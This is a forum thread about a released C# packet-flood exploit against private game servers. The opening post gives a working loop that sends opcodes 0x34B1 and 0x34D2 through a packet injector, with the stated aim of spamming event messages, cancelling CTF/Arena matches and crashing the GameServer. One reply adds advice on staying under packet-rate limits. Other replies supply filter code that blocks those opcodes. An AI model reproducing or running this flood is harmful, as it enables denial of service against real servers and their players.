[Release] GameServer flood/crash exploit

[Drupanda]

blabla, new exploit, blis fix menz

Send this after 0x3013 S->C (or char_spawn packet)
It's flood based, required to be flood to crash GameServer, working with Packet Injector or Client less core.

            flood:
            int num = 0;
            int packet_count = 50;
            int cur_count = 0;
            int delay = 1;

            for (cur_count = 0; cur_count <= packet_count; cur_count++)
            {
                switch (num)
                {
                    case 0:
                        {
                            Packet packet = new Packet(0x34B1);
                            packet.WriteUInt8(9);
                            Agent.Send(packet);
                            num = 1;
                            break;
                        }
                    case 1:
                        {
                            Packet packet2 = new Packet(0x34D2);
                            packet2.WriteUInt8(5);
                            packet2.WriteUInt8(0);
                            Agent.Send(packet2);
                            num = 2;
                            break;
                        }
                    case 2:
                        {
                            Packet packet3 = new Packet(0x34D2);
                            packet3.WriteUInt8(5);
                            packet3.WriteUInt8(1);
                            Agent.Send(packet3);
                            num = 3;
                            break;
                        }
                    case 3:
                        {
                            Packet packet4 = new Packet(0x34D2);
                            packet4.WriteUInt8(5);
                            packet4.WriteUInt8(2);
                            Agent.Send(packet4);
                            num = 4;
                            break;
                        }
                    case 4:
                        {
                            Packet packet5 = new Packet(0x34D2);
                            packet5.WriteUInt8(5);
                            packet5.WriteUInt8(3);
                            Agent.Send(packet5);
                            num = 0;
                            break;
                        }
                }
                cur_count++;
            }

            if (cur_count >= packet_count)
            {
                Thread.Sleep(delay);
                goto flood;
            }

What it does?

 Spoiler

Spams CTF/Arena start/end message, also makes CTF/Arena unavailable to play and will cancel all current CTF/Arena's and eventually it will crash GameServer cause of overlapping.

Fuck y'all.

[Worshiper]

Ty For Release it

[Wisdom']

Actually it won't work because most of the p-servers are using filter nowadays ..

[sarkoplata]

this doesn't actually crash the modules afaik, just spamming ctf/ba messages in game and ******* ctf

here we go

 #region Closing ctf , arena and fortress exploit
if (packet.Opcode == 0x34B1 && !Main.absolute_bypass.Contains(this.username))
{
this.CleanClient();
continue;
}
if (packet.Opcode == 0x34D2 && !Main.absolute_bypass.Contains(this.username))
{
this.CleanClient();
continue;
}
if (packet.Opcode == 0x385F && !Main.absolute_bypass.Contains(this.username))
{
this.CleanClient();
continue;
}

#endregion

[utku1676]

why it here ? " !Main.absolute_bypass.Contains(this.username) "

for GM ? or wht

This can be simplified (and faster) to:

PHP Code:

#region Closing ctf , arena and fortress exploit
bool someShitBoolean = Main.absolute_bypass.Contains(this.username);

if (!someShitBoolean && (packet.Opcode == 0x34B1 || packet.Opcode == 0x34D2 || packet.Opcode == 0x385F)) {
    this.CleanClient();
    continue;
}

#endregion

Yes it will, just send under the allowed packet limit second.

Look message count in GameServer, it will continue growing.

#endregion 


i copy paste it from my old src.
i was disabled these opcodes about 2 years ago,
after 3DProgrammer released his arena bot tool.

did that code will be faster?
you should put the opcode checking case first to ignore checking username
into bypass list everytime with any opcode!
please edit yours too.

for who want fixing code (copy&paste)
here it is:

#region Closing ctf , arena and fortress exploit
if (packet.Opcode == 0x34B1 || packet.Opcode == 0x34D2 || packet.Opcode == 0x385F)
{
  	this.CleanClient(); // disconnect function as you call it in your src
  	continue;
}
#endregion

its admin bypass list, which added into a table or text file as you did.
if you don't have in your src something like this. just ignore it.

Only if you exceed the limit.
